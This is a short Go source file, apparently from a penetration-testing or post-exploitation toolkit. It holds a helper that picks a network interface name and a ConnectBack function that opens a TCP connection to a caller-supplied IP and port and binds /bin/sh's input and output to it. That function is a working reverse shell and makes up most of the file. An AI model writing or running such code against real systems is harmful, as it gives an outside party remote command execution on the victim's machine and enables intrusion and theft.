package spec import ( "net" "os/exec" ) func GetAdapter() string { inetReturn := "" inetInterfaces, _ := net.Interfaces() if inetInterfaces[0].Name == "lo" { // Return second interface if first is loopback inetReturn = inetInterfaces[1].Name } else { inetReturn = inetInterfaces[0].Name } return inetReturn } func ConnectBack(ip string, connectbackPort string) { addr := net.JoinHostPort(ip, connectbackPort) conn, err := net.Dial("tcp", addr) if err != nil { // TODO: figure out error handling return } cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn cmd.Run() conn.Close() }